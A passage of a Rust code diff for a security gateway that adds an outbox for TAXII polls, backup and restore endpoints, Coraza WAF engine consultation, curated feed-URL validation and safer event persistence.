soc_llm_extract_content(&json).ok_or_else(|| { + outbox::DispatchError::Permanent( + "llm response missing choices[0].message.content".to_string(), + ) + })?; + Ok(SocAnalyzeResponse { + event_id: event.id, + model: config.model.clone(), + analysis, + }) } async fn healthz(State(state): State) -> Json { - Json(state.health_status()) + Json(state.health_status_live().await) } /// Build/version metadata for deployment verification. @@ -855,7 +1892,6 @@ async fn create_route( if let Err(message) = validate_route(&route) { return error(StatusCode::BAD_REQUEST, message); } - let actor = audit_actor(&state, &headers); match state .mutate_and_persist(|data| { @@ -866,7 +1902,7 @@ async fn create_route( .await { Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -902,7 +1938,7 @@ async fn create_threat( .await { Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -910,76 +1946,376 @@ async fn list_dnsbl(State(state): State) -> Json> { Json(state.inner.read().await.dnsbl.clone()) } -async fn create_dnsbl( - State(state): State, - headers: HeaderMap, - Json(entry): Json, -) -> Response { +async fn create_dnsbl( + State(state): State, + headers: HeaderMap, + Json(entry): Json, +) -> Response { + if !admin_authorized(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + if let Err(message) = validate_dnsbl(&entry) { + return error(StatusCode::BAD_REQUEST, message); + } + + let actor = audit_actor(&state, &headers); + match state + .mutate_and_persist(|data| { + let saved = upsert_dnsbl(&mut data.dnsbl, entry.clone()); + record_successful_audit_log( + data, + actor, + "upsert_dnsbl", + "dnsbl_entry", + saved.address.to_string(), + ); + saved + }) + .await + { + Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), + Err(message) => persist_error(message), + } +} + +#[derive(Deserialize)] +struct EventQuery { + #[serde(default)] + action: Option, + #[serde(default)] + limit: Option, +} + +/// Lists security events, optionally filtered by `action` and capped to the most +/// recent `limit` (chronological order preserved) for SOC triage. +async fn list_events( + State(state): State, + Query(query): Query, +) -> Json> { + let data = state.inner.read().await; + let mut events: Vec = match &query.action { + Some(action) => data + .events + .iter() + .filter(|event| &event.action == action) + .cloned() + .collect(), + None => data.events.clone(), + }; + if let Some(limit) = query.limit { + let start = events.len().saturating_sub(limit); + events.drain(..start); + } + Json(events) +} + +async fn list_audit_logs(State(state): State, headers: HeaderMap) -> Response { + // Audit logs are operator-sensitive: any valid admin principal may read + // (including readonly); unauthenticated callers are rejected when auth is on. + if !admin_authenticated(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + Json(state.inner.read().await.audit_logs.clone()).into_response() +} + +#[derive(Serialize)] +struct OutboxListView { + status: String, + limit: usize, + messages: Vec, +} + +#[derive(Serialize)] +struct OutboxItemView { + status: String, + message: outbox::OutboxMessage, + receipt_evidence: Option, +} + +#[derive(Serialize)] +struct OutboxAcceptedView { + status: String, + message_id: String, + event_type: String, +} + +async fn list_outbox(State(state): State, headers: HeaderMap) -> Response { + if !admin_authenticated(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + let limit = state.event_limit.max(1); + let Some(plane) = &state.control_plane else { + return Json(OutboxListView { + status: "disabled".to_string(), + limit, + messages: Vec::new(), + }) + .into_response(); + }; + match plane.list_outbox_limited(limit as i64).await { + Ok(messages) => Json(OutboxListView { + status: "ready".to_string(), + limit, + messages, + }) + .into_response(), + Err(message) => persist_error(message), + } +} + +async fn get_outbox_item( + State(state): State, + PathParam(message_id): PathParam, + headers: HeaderMap, +) -> Response { + if !admin_authenticated(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + let Some(plane) = &state.control_plane else { + return error( + StatusCode::SERVICE_UNAVAILABLE, + "outbox item reads require the PostgreSQL control plane", + ); + }; + match plane.get_outbox_item(&message_id).await { + Ok(Some((message, receipt_evidence))) => Json(OutboxItemView { + status: "ready".to_string(), + message, + receipt_evidence, + }) + .into_response(), + Ok(None) => error( + StatusCode::NOT_FOUND, + format!("unknown outbox message {message_id}"), + ), + Err(message) => persist_error(message), + } +} + +async fn enqueue_external_effect( + state: &AppState, + actor: String, + event_type: &'static str, + aggregate_id: &str, + payload: &impl Serialize, +) -> Response { + let Some(plane) = &state.control_plane else { + return error( + StatusCode::SERVICE_UNAVAILABLE, + "outbox enqueue requires the PostgreSQL control plane", + ); + }; + let payload_json = + serde_json::to_string(payload).expect("outbox effect payload is JSON-serializable"); + match plane + .enqueue_effect(event_type, aggregate_id, payload_json) + .await + { + Ok(message_id) => { + if let Err(error) = state + .mutate_and_persist(|data| { + record_successful_audit_log( + data, + actor, + event_type, + "outbox_message", + message_id.clone(), + ); + }) + .await + { + eprintln!("failed to audit outbox enqueue {message_id}: {error}"); + } + ( + StatusCode::ACCEPTED, + Json(OutboxAcceptedView { + status: "accepted".to_string(), + message_id, + event_type: event_type.to_string(), + }), + ) + .into_response() + } + Err(message) => persist_error(message), + } +} + +async fn replay_outbox( + State(state): State, + PathParam(message_id): PathParam, + headers: HeaderMap, +) -> Response { + if !admin_authorized(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + let Some(plane) = &state.control_plane else { + return error( + StatusCode::SERVICE_UNAVAILABLE, + "outbox replay requires the PostgreSQL control plane", + ); + }; + let actor = audit_actor(&state, &headers); + if let Err(message) = plane + .replay_dead_letter(&message_id, now_unix() as i64) + .await + { + return error(StatusCode::BAD_REQUEST, message); + } + match state + .mutate_and_persist(|data| { + record_successful_audit_log( + data, + actor, + "replay_outbox", + "outbox_message", + message_id.clone(), + ); + }) + .await + { + Ok(()) => Json(serde_json::json!({ + "status": "pending", + "message_id": message_id + })) + .into_response(), + Err(message) => persist_error(message), + } +} + +#[derive(Serialize)] +struct BackupView { + status: String, + rpo: String, + rto_budget_ms: u64, + artifact: Option, +} + +async fn get_backup(State(state): State, headers: HeaderMap) -> Response { + if !admin_authenticated(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + let Some(plane) = &state.control_plane else { + return Json(BackupView { + status: "disabled".to_string(), + rpo: control_plane::BACKUP_RPO.to_string(), + rto_budget_ms: control_plane::BACKUP_RTO_BUDGET_MS, + artifact: None, + }) + .into_response(); + }; + match plane.logical_backup().await { + Ok(artifact) => Json(BackupView { + status: "ready".to_string(), + rpo: control_plane::BACKUP_RPO.to_string(), + rto_budget_ms: control_plane::BACKUP_RTO_BUDGET_MS, + artifact: Some(artifact), + }) + .into_response(), + Err(message) => persist_error(message), + } +} + +async fn restore_backup( + State(state): State, + headers: HeaderMap, + Json(backup): Json, +) -> Response { + if !admin_authorized(&state, &headers) { + return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + } + let Some(plane) = &state.control_plane else { + return error( + StatusCode::SERVICE_UNAVAILABLE, + "backup restore requires the PostgreSQL control plane", + ); + }; + if let Err(message) = backup.verify() { + return error(StatusCode::BAD_REQUEST, message); + } + let _guard = state.persist_lock.lock().await; + if let Err(message) = plane.restore_logical_backup(&backup).await { + return error(StatusCode::BAD_REQUEST, message); + } + match plane.load().await { + Ok(Some(loaded)) => { + *state.inner.write().await = loaded; + } + Ok(None) => { + return error( + StatusCode::INTERNAL_SERVER_ERROR, + "restore committed but tenant snapshot is empty", + ); + } + Err(message) => return error(StatusCode::INTERNAL_SERVER_ERROR, message), + } + let actor = audit_actor(&state, &headers); + let (snapshot, previous) = { + let mut data = state.inner.write().await; + let previous = data.clone(); + record_successful_audit_log( + &mut data, + actor, + "restore_backup", + "control_plane_backup", + backup.payload_hash.clone(), + ); + (data.clone(), previous) + }; + match state.persist_snapshot(&snapshot).await { + Ok(()) => Json(serde_json::json!({ + "status": "restored", + "schema_version": backup.schema_version, + "payload_hash": backup.payload_hash, + })) + .into_response(), + Err(message) => { + let latest = plane.load().await.ok().flatten(); + let mut data = state.inner.write().await; + *data = latest.unwrap_or(previous); + persist_error(message) + } + } +} + +async fn backup_drill(State(state): State, headers: HeaderMap) -> Response { if !admin_authorized(&state, &headers) { return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); } - if let Err(message) = validate_dnsbl(&entry) { - return error(StatusCode::BAD_REQUEST, message); - } - + let Some(plane) = &state.control_plane else { + return error( + StatusCode::SERVICE_UNAVAILABLE, + "backup drill requires the PostgreSQL control plane", + ); + }; + let report = match plane.restore_drill().await { + Ok(report) => report, + Err(message) => return error(StatusCode::INTERNAL_SERVER_ERROR, message), + }; let actor = audit_actor(&state, &headers); - match state + let outcome = if report.passed { + "backup_drill" + } else { + "backup_drill_failed" + }; + if let Err(message) = state .mutate_and_persist(|data| { - let saved = upsert_dnsbl(&mut data.dnsbl, entry.clone()); record_successful_audit_log( data, actor, - "upsert_dnsbl", - "dnsbl_entry", - saved.address.to_string(), + outcome, + "control_plane_backup", + report.source_hash.clone(), ); - saved }) .await { - Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -#[derive(Deserialize)] -struct EventQuery { - #[serde(default)] - action: Option, - #[serde(default)] - limit: Option, -} - -/// Lists security events, optionally filtered by `action` and capped to the most -/// recent `limit` (chronological order preserved) for SOC triage. -async fn list_events( - State(state): State, - Query(query): Query, -) -> Json> { - let data = state.inner.read().await; - let mut events: Vec = match &query.action { - Some(action) => data - .events - .iter() - .filter(|event| &event.action == action) - .cloned() - .collect(), - None => data.events.clone(), - }; - if let Some(limit) = query.limit { - let start = events.len().saturating_sub(limit); - events.drain(..start); + return error(StatusCode::INTERNAL_SERVER_ERROR, message); } - Json(events) -} - -async fn list_audit_logs(State(state): State, headers: HeaderMap) -> Response { - // Audit logs are operator-sensitive: any valid admin principal may read - // (including readonly); unauthenticated callers are rejected when auth is on. - if !admin_authenticated(&state, &headers) { - return error(StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token"); + if report.passed { + (StatusCode::OK, Json(report)).into_response() + } else { + (StatusCode::INTERNAL_SERVER_ERROR, Json(report)).into_response() } - Json(state.inner.read().await.audit_logs.clone()).into_response() } async fn kpis(State(state): State) -> Json { @@ -1077,7 +2413,7 @@ async fn update_commercial_license( .await { Ok(saved) => (StatusCode::CREATED, Json(saved)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1120,7 +2456,7 @@ async fn import_threat_feed( let actor = audit_actor(&state, &headers); match apply_threat_feed_import(&state, actor, "import_threat_feed", feed).await { Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1211,7 +2547,7 @@ async fn import_stix_document( }), ) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1302,7 +2638,7 @@ async fn import_misp_document( }), ) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1398,7 +2734,7 @@ async fn import_opencti_document( }), ) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1449,6 +2785,16 @@ struct TaxiiPollResult { last_updated_unix: u64, } +#[derive(Debug, Clone, Serialize, Deserialize)] +struct TaxiiPollIntent { + objects_url: String, + feed_id: String, + source: String, + ttl_seconds: u64, + added_after: Option, + actor: String, +} + /// Poll a TAXII 2.1 collection objects endpoint and import STIX indicators. /// Secrets in the request body are never written to audit logs. async fn poll_taxii_collection( @@ -1487,6 +2833,47 @@ async fn poll_taxii_collection( Err(message) => return error(StatusCode::BAD_REQUEST, message), }; + if state.control_plane.is_some() { + let has_inline_secret = request + .bearer_token + .as_deref() + .map(str::trim) + .is_some_and(|value| !value.is_empty()) + || request + .username + .as_deref() + .map(str::trim) + .is_some_and(|value| !value.is_empty()) + || request + .password + .as_deref() + .map(str::trim) + .is_some_and(|value| !value.is_empty()); + if has_inline_secret { + return error( + StatusCode::BAD_REQUEST, + "durable TAXII poll cannot store credentials in the outbox; configure taxii_bearer in the credential registry", + ); + } + let actor = audit_actor(&state, &headers); + let intent = TaxiiPollIntent { + objects_url, + feed_id: request.feed_id.trim().to_string(), + source: request.source.trim().to_string(), + ttl_seconds: request.ttl_seconds, + added_after: request.added_after.clone(), + actor: actor.clone(), + }; + return enqueue_external_effect( + &state, + actor, + outbox::EVENT_TAXII_POLLED, + &intent.feed_id, + &intent, + ) + .await; + } + let body_text = match fetch_taxii_objects( &state, &objects_url, @@ -1538,7 +2925,7 @@ async fn poll_taxii_collection( }), ) .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1578,8 +2965,20 @@ async fn fetch_taxii_objects( ) -> Result { use futures_util::StreamExt; - let mut request = state - .feed_http + let inline_bearer = bearer_token.map(str::trim).filter(|s| !s.is_empty()); + let bearer = if inline_bearer.is_some() { + inline_bearer + } else if let Some(token) = state.taxii_bearer.as_deref() { + let request_origin = url_origin(url)?; + if state.taxii_bearer_origin.as_deref() != Some(request_origin.as_str()) { + return Err("TAXII URL is outside the configured bearer origin".to_string()); + } + Some(token) + } else { + None + }; + let http = state.outbound_client(url).await?; + let mut request = http .get(url) .header( "Accept", @@ -1588,8 +2987,7 @@ async fn fetch_taxii_objects( .timeout(std::time::Duration::from_secs( PHISHING_DATABASE_FETCH_TIMEOUT_SECS, )); - - if let Some(token) = bearer_token.map(str::trim).filter(|s| !s.is_empty()) { + if let Some(token) = bearer { request = request.bearer_auth(token); } else if let Some(user) = username.map(str::trim).filter(|s| !s.is_empty()) { request = request.basic_auth(user, password); @@ -1624,6 +3022,57 @@ async fn fetch_taxii_objects( String::from_utf8(bytes).map_err(|error| format!("TAXII response is not valid UTF-8: {error}")) } +fn taxii_fetch_error_to_dispatch(message: String) -> outbox::DispatchError { + let lower = message.to_ascii_lowercase(); + if lower.contains("timed out") + || lower.contains("timeout") + || lower.contains("failed to poll") + || lower.contains("failed to read") + || lower.contains("http 429") + || lower.contains("http 5") + { + outbox::DispatchError::Transient(message) + } else { + outbox::DispatchError::Permanent(message) + } +} + +async fn execute_taxii_poll( + state: &AppState, + intent: &TaxiiPollIntent, +) -> Result { + let body_text = fetch_taxii_objects(state, &intent.objects_url, None, None, None) + .await + .map_err(taxii_fetch_error_to_dispatch)?; + let stix_json = taxii::stix_json_from_taxii_response(&body_text) + .map_err(outbox::DispatchError::Permanent)?; + let material = + stix_import::parse_stix_document(&stix_json, intent.source.trim(), intent.ttl_seconds) + .map_err(outbox::DispatchError::Permanent)?; + let feed = ThreatFeedImport { + feed_id: intent.feed_id.clone(), + source: intent.source.clone(), + ttl_seconds: intent.ttl_seconds, + threats: material.threats, + dnsbl: material.dnsbl, + }; + validate_threat_feed_import(&feed) + .map_err(|message| outbox::DispatchError::Permanent(message.to_string()))?; + let skipped_objects = material.skipped_objects; + let result = + apply_threat_feed_import(state, intent.actor.clone(), "poll_taxii_collection", feed) + .await + .map_err(outbox::DispatchError::Transient)?; + Ok(TaxiiPollResult { + feed_id: result.feed_id, + objects_url: intent.objects_url.clone(), + upserted_threats: result.upserted_threats, + upserted_dnsbl: result.upserted_dnsbl, + skipped_objects, + last_updated_unix: result.last_updated_unix, + }) +} + /// Ingest Suricata EVE JSON (single object, array, or NDJSON). Admin-auth only. /// Maps `event_type=alert` records into gateway security events for SOC export. #[derive(Debug, Serialize)] @@ -1723,7 +3172,7 @@ async fn import_suricata_eve( .await { Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1825,7 +3274,7 @@ async fn import_coraza_audit( .await { Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -1984,7 +3433,7 @@ async fn import_phishing_database_feed( let actor = audit_actor(&state, &headers); match apply_threat_feed_import(&state, actor, "import_phishing_database_feed", feed).await { Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), + Err(message) => persist_error(message), } } @@ -2007,17 +3456,36 @@ fn validate_phishing_database_import_request( if request.domain_limit == 0 { return Err("domain_limit must be greater than zero when import_domains is enabled"); } - validate_http_url(&request.domain_url, request.allow_non_default_hosts)?; + validate_curated_feed_url(&request.domain_url)?; } if request.import_ips { if request.ip_limit == 0 { return Err("ip_limit must be greater than zero when import_ips is enabled"); } - validate_http_url(&request.ip_url, request.allow_non_default_hosts)?; + validate_curated_feed_url(&request.ip_url)?; } Ok(()) } +fn validate_curated_feed_url(value: &str) -> Result { + let parsed = reqwest::Url::parse(value).map_err(|_| "feed URL must be an absolute URL")?; + let host = parsed.host_str().ok_or("feed URL host is required")?; + match parsed.scheme() { + "https" => {} + "http" if is_loopback_host(host) => {} + "http" => return Err("feed URL scheme must be https unless host is loopback"), + _ => return Err("feed URL scheme must be http or https"), + } + if !is_loopback_host(host) + && !PHISHING_DATABASE_ALLOWED_HOSTS + .iter() + .any(|allowed| host.eq_ignore_ascii_case(allowed)) + { + return Err("feed URL host is not in the curated allowlist"); + } + Ok(parsed) +} + fn validate_http_url(value: &str, allow_non_default_hosts: bool) -> Result<(), &'static str> { let parsed = reqwest::Url::parse(value).map_err(|_| "feed URL must be an absolute URL")?; let host = parsed.host_str().ok_or("feed URL host is required")?; @@ -2046,11 +3514,16 @@ fn is_loopback_host(host: &str) -> bool { } async fn support_bundle(State(state): State) -> Json { + Json(build_support_bundle(&state).await) +} + +/// Build the shared read-only operational snapshot used by HTTP and MCP. +async fn build_support_bundle(state: &AppState) -> SupportBundle { let data = state.inner.read().await; let generated_at_unix = now_unix(); - Json(SupportBundle { + SupportBundle { generated_at_unix, - health: state.health_status(), + health: state.health_status_live().await, kpis: kpi_snapshot_at(&data, generated_at_unix), commercial: data.commercial.clone(), readiness: commercial_readiness_snapshot_at(&data, generated_at_unix), @@ -2065,7 +3538,7 @@ async fn support_bundle(State(state): State) -> Json { threat_feed_count: data.threat_feeds.len(), event_count: data.events.len(), audit_log_count: data.audit_logs.len(), - }) + } } async fn events_ndjson(State(state): State) -> Response { @@ -2151,6 +3624,100 @@ async fn gateway( } let body_text = String::from_utf8_lossy(&body); + let request_uri = match uri.query() { + Some(query) => format!("{gateway_path}?{query}"), + None => gateway_path.to_string(), + }; + let forwarded_headers = proven_engine::engine_forwarded_headers(&headers); + let engine_outcome = consult_proven_engine( + &state, + method.as_str(), + &request_uri, + &body_text, + client_ip, + &forwarded_headers, + ) + .await; + if let ProvenEngineOutcome::Unavailable { reason } = &engine_outcome { + if state.proven_engine.fail_closed { + record_event( + &state, + client_ip, + Some(route.id.clone()), + "engine_unavailable", + reason.clone(), + 0, + gateway_path, + ) + .await; + return ( + StatusCode::SERVICE_UNAVAILABLE, + Json(serde_json::json!({ + "action": "engine_unavailable", + "route_id": route.id, + "reason": reason, + })), + ) + .into_response(); + } + // Fail-open deployments still leave evidence that the engine was + // down for this request; scoring continues below. + record_event( + &state, + client_ip, + Some(route.id.clone()), + "engine_unavailable", + reason.clone(), + 0, + gateway_path, + ) + .await; + } + if let ProvenEngineOutcome::Hit(hit) = &engine_outcome { + let enforcing_block = hit.interrupted && route.mode == EnforcementMode::Block; + if !enforcing_block { + // Monitor-mode routes and sub-threshold hits keep the CRS + // evidence in the event stream instead of dropping it, while + // enforcement stays a Block-route decision. + record_event( + &state, + client_ip, + Some(route.id.clone()), + "engine_hit", + hit.reason.clone(), + hit.score, + gateway_path, + ) + .await; + } + } + if let ProvenEngineOutcome::Hit(hit) = &engine_outcome + && hit.interrupted + && route.mode == EnforcementMode::Block + { + record_event( + &state, + client_ip, + Some(route.id.clone()), + "blocked", + hit.reason.clone(), + hit.score, + gateway_path, + ) + .await; + return ( + StatusCode::FORBIDDEN, + Json(serde_json::json!({ + "action": "blocked", + "route_id": route.id, + "score": hit.score, + "reason": hit.reason, + "engine": "coraza" + })), + ) + .into_response(); + } + let scored = score_request( gateway_path, uri.query(), @@ -2218,6 +3785,74 @@ async fn gateway( } } +/// Consult in-process libcoraza first; otherwise the Coraza sidecar. +async fn consult_proven_engine( + state: &AppState, + method: &str, + request_uri: &str, + body_text: &str, + client_ip: Option, + forwarded_headers: &[(String, String)], +) -> ProvenEngineOutcome { + if let Some(engine) = state.proven_engine.in_process.clone() { + let method = method.to_owned(); + let request_uri = request_uri.to_owned(); + let body_text = body_text.to_owned(); + let headers_owned = forwarded_headers.to_vec(); + return match tokio::task::spawn_blocking(move || { + engine.evaluate(&method, &request_uri, &body_text, client_ip, &headers_owned) + }) + .await + { + Ok(outcome) => outcome, + Err(_) => ProvenEngineOutcome::Unavailable { + reason: "coraza in-process task failed".to_string(), + }, + }; + } + let Some(url) = state + .proven_engine + .sidecar_url + .as_deref() + .map(str::trim) + .filter(|url| !url.is_empty()) + .map(str::to_owned) + else { + return ProvenEngineOutcome::NotConfigured; + }; + let http = match state.outbound_client(&url).await { + Ok(http) => http, + Err(reason) => return ProvenEngineOutcome::Unavailable { reason }, + }; + proven_engine::evaluate_sidecar( + &http, + &url, + method, + request_uri, + body_text, + client_ip, + forwarded_headers, + ) + .await +} + +/// Operator-visible proven-engine status (no sidecar URL or library path; +/// those may identify an internal host). +async fn waf_engine_status(State(state): State) -> Json { + Json(serde_json::json!({ + "mode": state.proven_engine.mode(), + "in_path": state.proven_engine.in_path(), + "fail_closed": state.proven_engine.fail_closed, + "sidecar_configured": state.proven_engine.sidecar_configured(), + "in_process_configured": state.proven_engine.in_process.is_some(), + "in_process_rules": state + .proven_engine + .in_process + .as_ref() + .map(|engine| engine.rules()), + })) +} + fn client_ip_from_headers(headers: &HeaderMap) -> Option { headers .get("x-forwarded-for") @@ -2241,10 +3876,10 @@ async fn proxy_request( body: Bytes, ) -> Result { let target = upstream_target(route, path, query)?; + let http = state.outbound_client(&target).await?; let method = reqwest::Method::from_bytes(method.as_str().as_bytes()) .expect("axum HTTP methods are valid reqwest HTTP methods"); - let response = state - .http + let response = http .request(method, target) .body(body) .send() @@ -2295,30 +3930,65 @@ async fn record_event( let action = action.to_string(); let path = path.to_string(); let event_limit = state.event_limit; - if let Err(error) = state - .mutate_and_persist(|data| { - let id = data.next_event_id; - data.next_event_id += 1; - let event = SecurityEvent { - id, - timestamp_unix: now_unix(), - client_ip, - route_id, - action, - reason, - score, - path, - }; - // Structured stdout log line for SIEM / log-collector ingestion. - // ponytail: one println per recorded event — fine at gateway volumes; - // add async batching if event throughput ever becomes a bottleneck. - println!("{}", security_event_log_line(&event)); - data.events.push(event); - enforce_event_limit(data, event_limit); - }) - .await - { - eprintln!("failed to persist security event: {error}"); + let template = SecurityEvent { + id: 0, + timestamp_unix: now_unix(), + client_ip, + route_id, + action, + reason, + score, + path, + }; + if let Some(plane) = &state.control_plane { + let _guard = state.persist_lock.lock().await; + match plane.append_security_event(&template, event_limit).await { + Ok((event, snapshot_version)) => { + let mut data = state.inner.write().await; + data.next_event_id = event.id.saturating_add(1); + data.events.push(event); + enforce_event_limit(&mut data, event_limit); + data.snapshot_version = snapshot_version; + } + Err(error) => { + eprintln!("failed to persist security event: {error}"); + } + } + return; + } + + let durable = state.state_path.is_some(); + let _guard = if durable { + Some(state.persist_lock.lock().await) + } else { + None + }; + let (event, previous) = { + let mut data = state.inner.write().await; + let previous = durable.then(|| data.clone()); + let id = data.next_event_id; + data.next_event_id += 1; + let mut event = template; + event.id = id; + data.events.push(event.clone()); + enforce_event_limit(&mut data, event_limit); + (event, previous) + }; + // File/memory has no leased worker; emit the SIEM line on the request path. + println!("{}", security_event_log_line(&event)); + let persist = if state.state_path.is_some() { + let snapshot = state.inner.read().await.clone(); + state.persist_snapshot(&snapshot).await + } else { + Ok(()) + }; + match persist { + Ok(()) => {} + Err(error) => { + let mut data = state.inner.write().await; + *data = previous.expect("durable event writes retain rollback state"); + eprintln!("failed to persist security event: {error}"); + } } } @@ -2501,11 +4171,11 @@ async fn apply_threat_feed_import( async fn fetch_text_feed(state: &AppState, url: &str) -> Result { use futures_util::StreamExt; - validate_http_url(url, /* allow_non_default_hosts */ true) + let validated = validate_curated_feed_url(url) .map_err(|message| format!("invalid feed URL {url}: {message}"))?; - let response = state - .feed_http - .get(url) + let http = state.outbound_client(validated.as_str()).await?; + let response = http + .get(validated) .timeout(std::time::Duration::from_secs( PHISHING_DATABASE_FETCH_TIMEOUT_SECS, )) @@ -2608,6 +4278,14 @@ fn parse_phishing_ips(feed: &str, limit: usize) -> Vec { values } +fn persist_error(message: String) -> Response { + if message.contains("snapshot conflict") { + error(StatusCode::CONFLICT, message) + } else { + error(StatusCode::INTERNAL_SERVER_ERROR, message) + } +} + fn error(status: StatusCode, message: impl Into) -> Response { ( status, @@ -2774,7 +4452,7 @@ input,select{font:inherit;min-height:44px;padding:0 12px;border:1px solid var(--

POST admin-authenticated Suricata EVE JSON/NDJSON alerts to /api/ids/suricata/eve. Alerts become SOC security events (no hand-rolled IDS rules).

Coraza / OWASP CRS WAF ingest

-

POST admin-authenticated Coraza audit JSON/NDJSON to /api/waf/coraza/audit. CRS rule matches become SOC events and block-grade hits also seed DNSBL/client_ip indicators so the gateway enforces subsequent requests (run Coraza outside; do not invent WAF rules here).

+

POST admin-authenticated Coraza audit JSON/NDJSON to /api/waf/coraza/audit. CRS rule matches become SOC events and block-grade hits also seed DNSBL/client_ip indicators so the gateway enforces subsequent requests. Set CORAZA_LIB_PATH plus CORAZA_RULES_PATH (or CORAZA_DIRECTIVES) for in-process libcoraza, or CORAZA_WAF_URL for a sidecar. Do not invent WAF rules here. See GET /api/waf/engine-status.

STIX threat intelligence

POST admin-authenticated STIX 2.x indicator or bundle JSON to /api/threat-intel/stix (optional query: feed_id, source, ttl_seconds). Maps ipv4/domain/url patterns into threats/DNSBL for gateway scoring.

@@ -2783,13 +4461,13 @@ input,select{font:inherit;min-height:44px;padding:0 12px;border:1px solid var(--

POST admin-authenticated MISP Event/attribute JSON to /api/threat-intel/misp (optional query: feed_id, source, ttl_seconds). Maps IDS-worthy attributes (ip-src/ip-dst, domain, url, composites, hashes) into threats/DNSBL; attributes with to_ids=false are skipped. Live MISP REST pull is a follow-up.

TAXII 2.1 collection poll

-

POST admin-authenticated JSON to /api/threat-intel/taxii/poll with objects_url (or api_root+collection_id), optional Basic/Bearer credentials, and optional added_after. Fetches TAXII objects, normalizes to STIX, and upserts threats/DNSBL. Credentials are never written to audit logs.

+

POST admin-authenticated JSON to /api/threat-intel/taxii/poll with objects_url (or api_root+collection_id) and optional added_after. PostgreSQL enqueues taxii.collection_polled (202) for the leased worker; file/memory still fetches on the request path. Inline Basic/Bearer is memory-only — durable polls use taxii_bearer in the credential registry. Credentials are never written to outbox payloads or audit logs. Poll GET /api/outbox/{message_id} for receipt evidence. Indicator values stay unmasked.

OpenCTI threat intelligence

POST admin-authenticated OpenCTI GraphQL/list export JSON to /api/threat-intel/opencti (optional query: feed_id, source, ttl_seconds). Maps IPv4/IPv6, Domain-Name, Url, file hashes, and STIX indicators into threats/DNSBL. Live OpenCTI GraphQL pull is a follow-up.

Audit log

Loading…
+

Outbox

PostgreSQL leased workers for external effects. File/memory adapters report disabled. Client IPs and paths are not masked.

Loading…
+

Control-plane backup

+

On-demand PostgreSQL logical snapshot. Restore drill uses an isolated tenant and does not mask client IPs, paths, or actors. File/memory adapters report disabled. Declared RPO is last successful export; declared RTO is 60s.

+
Loading…
+
+ +
+ 

+    

     
Evidence manifest
Loading…

     
SOC event export (ndjson)
Loading…